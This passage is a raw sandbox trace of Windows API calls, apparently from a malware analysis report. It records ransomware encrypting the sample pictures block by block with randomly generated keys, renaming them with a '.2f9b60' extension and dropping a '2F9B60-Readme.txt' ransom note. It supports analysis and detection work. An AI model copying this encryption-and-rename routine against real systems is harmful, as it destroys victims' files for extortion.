hFile=0x1718, lpBuffer=0x41ba2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b52f620, lpOverlapped=0x0 | out: lpBuffer=0x41ba2d00*, lpNumberOfBytesWritten=0x3b52f620*=0x3c00, lpOverlapped=0x0) returned 1 [0130.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ba2d00) returned 1 [0130.163] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.163] ReadFile (in: hFile=0x1718, lpBuffer=0x41bbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b52f620, lpOverlapped=0x0 | out: lpBuffer=0x41bbd170*, lpNumberOfBytesRead=0x3b52f620*=0x3c00, lpOverlapped=0x0) returned 1 [0130.165] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0130.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260cb0) returned 1 [0130.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ba2d00 [0130.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0130.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0130.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260590) returned 1 [0130.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.166] WriteFile (hFile=0x1718, lpBuffer=0x41ba2d00, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b52f620, lpOverlapped=0x0) [0170.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ba2d00) returned 1 [0170.989] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0xb9a16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.989] ReadFile (in: hFile=0x1718, lpBuffer=0x41bbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b52f620, lpOverlapped=0x0 | out: lpBuffer=0x41bbd170*, lpNumberOfBytesRead=0x3b52f620*=0x3c00, lpOverlapped=0x0) returned 1 [0171.169] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0xb9a16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d010 [0171.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d010) returned 1 [0171.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42094d90 [0171.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d010 [0171.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d040 [0171.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d040) returned 1 [0171.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.172] WriteFile (in: hFile=0x1718, lpBuffer=0x42094d90*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b52f620, lpOverlapped=0x0 | out: lpBuffer=0x42094d90*, lpNumberOfBytesWritten=0x3b52f620*=0x3c00, lpOverlapped=0x0) returned 1 [0194.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42094d90) returned 1 [0194.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf830 [0194.857] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.858] WriteFile (in: hFile=0x1718, lpBuffer=0x431f4880*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x3b52f6d0, lpOverlapped=0x0 | out: lpBuffer=0x431f4880*, lpNumberOfBytesWritten=0x3b52f6d0*=0x14c, lpOverlapped=0x0) returned 1 [0199.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4880) returned 1 [0199.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0199.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0199.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa00) returned 1 [0199.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf830) returned 1 [0199.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b90) returned 1 [0199.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860d80) returned 1 [0199.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860e10) returned 1 [0199.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ceb7ae0 [0199.472] wcscpy (in: _Dest=0x1ceb7ae0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" [0199.472] wcscat (in: _Dest=0x1ceb7ae0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.2f9b60") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.2f9b60" [0199.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.2f9b60", NtPathName=0x3b52f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431f29e0 [0203.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f29e0) returned 1 [0203.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43099cf0) returned 1 [0203.502] NtQueryInformationFile (in: FileHandle=0x1718, IoStatusBlock=0x3b52f758, FileInformation=0x3b52f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b52f758, FileInformation=0x3b52f768) returned 0x0 [0203.502] NtSetInformationFile (FileHandle=0x1718, IoStatusBlock=0x3b52f758, FileInformation=0x3b52f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb7ae0) returned 1 [0208.271] FlushFileBuffers (hFile=0x1718) returned 1 [0208.292] CloseHandle (hObject=0x1718) returned 1 [0215.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1ceba660 [0215.656] wcscpy (in: _Dest=0x1ceba660, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0215.656] wcscat (in: _Dest=0x1ceba660, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" [0215.656] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt")) returned 0xffffffff [0216.571] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c20 [0227.037] WriteFile (in: hFile=0x1c20, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3b52f610, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3b52f610*=0xba9, lpOverlapped=0x0) returned 1 [0237.806] CloseHandle (hObject=0x1c20) returned 1 [0240.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba660) returned 1 [0240.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 Thread: id = 1298 os_tid = 0xe0c [0116.704] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg")) returned 0x20 [0116.774] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", dwFileAttributes=0x20) returned 1 [0116.789] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17c0 [0116.894] GetFileSizeEx (in: hFile=0x17c0, lpFileSize=0x3b65f8e0 | out: lpFileSize=0x3b65f8e0*=780831) returned 1 [0116.894] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0xbea1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.894] ReadFile (in: hFile=0x17c0, lpBuffer=0x3b65f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b65f8a8, lpOverlapped=0x0 | out: lpBuffer=0x3b65f860*, lpNumberOfBytesRead=0x3b65f8a8*=0x4, lpOverlapped=0x0) returned 1 [0116.915] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861020 [0116.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861080 [0116.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0116.915] NtQuerySystemTime (in: CurrentTime=0x3b65f7a0 | out: CurrentTime=0x3b65f7a0*=132462177223582000) returned 0x0 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x4478881 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x27e9e69d [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x63fb8c38 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x47aadeb6 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x3d9de113 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x2e8a76c6 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x730ee99d [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x785023c5 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x46381065 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x79dc4db2 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x1322a84e [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x4e15d7fc [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x1ccfeae4 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x1cb316e [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x4f2844aa [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x70b820f9 [0116.915] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0xe0130ed [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x3c3150a7 [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x77e2afd3 [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x5ef4c481 [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x7862ab [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x7bcc3bad [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0xd9537d [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x77890fbd [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x3a43a5d1 [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x3a761e00 [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0xb79823b [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x130dae32 [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x3ea8f18 [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x2e6a17f0 [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x67f7117a [0116.916] RtlRandomEx (in: Seed=0x3b65f790 | out: Seed=0x3b65f790) returned 0x6046f411 [0116.925] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.926] ReadFile (in: hFile=0x17c0, lpBuffer=0x41bae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b65f800, lpOverlapped=0x0 | out: lpBuffer=0x41bae130*, lpNumberOfBytesRead=0x3b65f800*=0x3c00, lpOverlapped=0x0) returned 1 [0116.941] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0116.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8610e0) returned 1 [0116.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fa6910 [0116.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8610e0 [0116.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861350 [0116.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861350) returned 1 [0116.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.943] WriteFile (in: hFile=0x17c0, lpBuffer=0x41fa6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b65f800, lpOverlapped=0x0 | out: lpBuffer=0x41fa6910*, lpNumberOfBytesWritten=0x3b65f800*=0x3c00, lpOverlapped=0x0) returned 1 [0130.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fa6910) returned 1 [0130.169] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.169] ReadFile (in: hFile=0x17c0, lpBuffer=0x41bae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b65f800, lpOverlapped=0x0 | out: lpBuffer=0x41bae130*, lpNumberOfBytesRead=0x3b65f800*=0x3c00, lpOverlapped=0x0) returned 1 [0130.172] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x61800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0130.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260590) returned 1 [0130.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fa6910 [0130.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0130.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0130.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605c0) returned 1 [0130.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.173] WriteFile (hFile=0x17c0, lpBuffer=0x41fa6910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b65f800, lpOverlapped=0x0) [0170.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fa6910) returned 1 [0170.990] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0xbae1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.990] ReadFile (in: hFile=0x17c0, lpBuffer=0x41bae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b65f800, lpOverlapped=0x0 | out: lpBuffer=0x41bae130*, lpNumberOfBytesRead=0x3b65f800*=0x3c00, lpOverlapped=0x0) returned 1 [0171.172] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0xbae1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d040 [0171.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d040) returned 1 [0171.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420a79e0 [0171.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d040 [0171.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d070 [0171.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d070) returned 1 [0171.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.175] WriteFile (in: hFile=0x17c0, lpBuffer=0x420a79e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b65f800, lpOverlapped=0x0 | out: lpBuffer=0x420a79e0*, lpNumberOfBytesWritten=0x3b65f800*=0x3c00, lpOverlapped=0x0) returned 1 [0194.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420a79e0) returned 1 [0194.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddfa60 [0194.870] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.870] WriteFile (in: hFile=0x17c0, lpBuffer=0x1cebd690*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x3b65f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd690*, lpNumberOfBytesWritten=0x3b65f8b0*=0x144, lpOverlapped=0x0) returned 1 [0206.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebd690) returned 1 [0206.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0206.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0206.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8610e0) returned 1 [0206.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddfa60) returned 1 [0206.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861080) returned 1 [0206.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861110) returned 1 [0206.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861170) returned 1 [0206.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1ceba7e0 [0206.479] wcscpy (in: _Dest=0x1ceba7e0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" [0206.479] wcscat (in: _Dest=0x1ceba7e0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.2f9b60") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.2f9b60" [0206.479] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.2f9b60", NtPathName=0x3b65f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c5da0 [0226.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c5da0) returned 1 [0226.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43229f70) returned 1 [0226.994] NtQueryInformationFile (in: FileHandle=0x17c0, IoStatusBlock=0x3b65f938, FileInformation=0x3b65f948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b65f938, FileInformation=0x3b65f948) returned 0x0 [0226.994] NtSetInformationFile (FileHandle=0x17c0, IoStatusBlock=0x3b65f938, FileInformation=0x3b65f948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba7e0) returned 1 [0234.797] FlushFileBuffers (hFile=0x17c0) returned 1 [0238.177] CloseHandle (hObject=0x17c0) returned 1 [0240.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e110 [0240.453] wcscpy (in: _Dest=0x1b85e110, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0240.453] wcscat (in: _Dest=0x1b85e110, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" [0240.453] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt")) returned 0x20 [0240.453] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e110) returned 1 [0240.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86efe0) returned 1 Thread: id = 1299 os_tid = 0xe48 [0116.712] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg")) returned 0x20 [0116.774] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", dwFileAttributes=0x20) returned 1 [0116.790] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1680 [0116.863] GetFileSizeEx (in: hFile=0x1680, lpFileSize=0x3ae4f9a0 | out: lpFileSize=0x3ae4f9a0*=561276) returned 1 [0116.863] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x89078, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.863] ReadFile (in: hFile=0x1680, lpBuffer=0x3ae4f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ae4f968, lpOverlapped=0x0 | out: lpBuffer=0x3ae4f920*, lpNumberOfBytesRead=0x3ae4f968*=0x4, lpOverlapped=0x0) returned 1 [0116.881] SetFilePointerEx (in: hFile=0x1680, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ea0 [0116.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860e70 [0116.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ff0 [0116.881] NtQuerySystemTime (in: CurrentTime=0x3ae4f860 | out: CurrentTime=0x3ae4f860*=132462177223270000) returned 0x0 [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x6a29cfc9 [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x23635be4 [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x224dbb73 [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x1aff1cc7 [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x6a95cfca [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x6d61c481 [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 | out: Seed=0x3ae4f850) returned 0x2ac93b8f [0116.881] RtlRandomEx (in: Seed=0x3ae4f850 